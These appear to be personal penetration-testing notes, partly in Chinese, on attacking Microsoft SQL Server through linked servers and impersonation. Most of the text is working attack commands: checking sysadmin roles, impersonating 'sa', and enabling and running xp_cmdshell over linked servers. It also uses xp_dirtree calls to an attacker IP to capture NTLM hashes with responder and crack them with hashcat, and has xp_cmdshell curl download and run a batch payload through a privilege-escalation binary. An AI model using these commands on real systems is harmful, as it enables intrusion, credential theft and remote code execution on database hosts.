#### hacksqlserver PS:配合GetUserSPNs.ps1使用,若MSSQL SPN 且为目标机器管理员 或者具备sqllink时 可命令执行 ``` SELECT IS_SRVROLEMEMBER('sysadmin','domain\administrator') SELECT IS_SRVROLEMEMBER('sysadmin','domain\sqlsvc') SELECT IS_SRVROLEMEMBER('sysadmin','domain\adminwebsvc') 1 为重要 则为系统成员组 SELECT IS_SRVROLEMEMBER('public'); 为1 则为public role SELECT SYSTEM_USER; SELECT USER_NAME(); SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'; EXEC sp_linkedservers; EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT linked-hostname; EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT linked-hostname; EXEC ('xp_cmdshell ''whoami'';') AT linked-hostname; select 1 from openquery("SQL05", 'select 1; EXEC sp_configure ''show advanced options'', 1; reconfigure') //test must priv work links! select version from openquery("linked-hostname", 'select @@version as version') -works! ... sudo responder -I tap0 EXEC master..xp_dirtree "\\192.168.49.57\share"; hashcat 5600 ``` #### powerupsql ``` https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet ``` ### In attation ``` 幸运的是,sysadmin 角色成员资格允许我们使用高级选项和sp_configure存储过程启用 xp_cmdshell。为此,我们需要从模拟_sa_登录开始。之后,我们将使用 sp_configure 存储过程来激活高级选项,然后启用 xp_cmdshell。 要激活高级选项以及 xp_cmdshell,我们必须记住使用 _RECONFIGURE_语句更新当前配置的值 让我们回顾一下用于模拟 SA 登录、激活高级选项、启用 xp_cmdshell 和执行 whoami命令的代码。 ``` 以及可以打开 默认关闭的RPC功能 ``` RPC Out 不是默认开启的设置,但通常由系统管理员设置。如果不允许 RPC Out,如果我们当前的用户具有 sysadmin 角色成员身份,则可以使用_sp_serveroption_存储过程,Microsoft 文档明确指出,在链接的 SQL 服务器上不支持执行存储过程。相反,我们将使用_AT_关键字来指定应该在哪个链接的 SQL 服务器上执行查询。 清单 54 显示了启用高级选项所需的查询。 ``` ``` 注意在最后的sql03中 关闭了RPC,但是可以使用openquery来查询 ``` ![[Pasted image 20220824203952.png]] ### 最后的准备之快速查询 以及一键查询脚本准备 ``` SELECT SYSTEM_USER; SELECT USER_NAME(); EXECUTE AS LOGIN = 'sa'; //normaly it can works, if we have sa or dbo priv, and configure sqllink select version from openquery("sqllinked-hostname", 'select @@version as version') select * from openquery("sqllinked-hostname",'select * from master..sysservers') select version from openquery("sqllinked-hostname", 'select SYSTEM_USER as version') yep select version from openquery("sqllinked-hostname", 'select USER_NAME() as version') yep //执行代码,如果失败 用下面的方式 EXEC sp_linkedservers; EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT sqllinked-hostname; EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT sqllinked-hostname; EXEC ('xp_cmdshell ''whoami'';') AT sqllinked-hostname; EXEC master..xp_dirtree "\\192.168.49.110\share"; EXEC master..xp_dirtree "\\192.168.49.110\test\"; sudo responder -I tap0 hashcat 5600 ``` ### 非法改装区 ``` \\openquery -> xp_cmdshell fails work! maybe hidden success select 1 from openquery("sqllinked-hostname", 'select 1; EXEC sp_configure ''show advanced options'', 1; reconfigure') select 1 from openquery("sqllinked-hostname", 'select 1; EXEC sp_configure ''xp_cmdshell'', 1; reconfigure') select 1 from openquery("sqllinked-hostname", 'select 1; EXEC xp_cmdshell ''curl http://192.168.49.57:85''') //非法改装 select 1 from openquery("sqllinked-hostname", 'select 1; EXEC master..xp_dirtree ''\\192.168.49.57\share''') ->成功了! EXEC ('xp_cmdshell ''c:\users\public\pf.exe -i -c "cmd.exe /c c:\users\public\b.bat"'';') AT sqllinked-hostname EXEC ('xp_cmdshell ''curl 192.168.49.57:82/a.bat -o c:\users\public\b.bat'';') AT sqllinked-hostname EXEC ('xp_cmdshell ''dir c:\users\public\'';') AT sqllinked-hostname ``` ### beyond osep ``` EXECUTE AS LOGIN = 'sa'; SELECT is_rpc_out_enabled FROM sys.servers WHERE name = 'sqllinked-hostname'; EXEC sp_serveroption 'sqllinked-hostname', 'rpc out', 'true'; ``` ![[Pasted image 20220825001731.png]] ![[Pasted image 20220825001747.png]] #### other ``` Get-SQLServerLinkCrawl -Instance instance1 -Query "exec master..xp_cmdshell 'cmd /c calc.exe'" -Verbose ```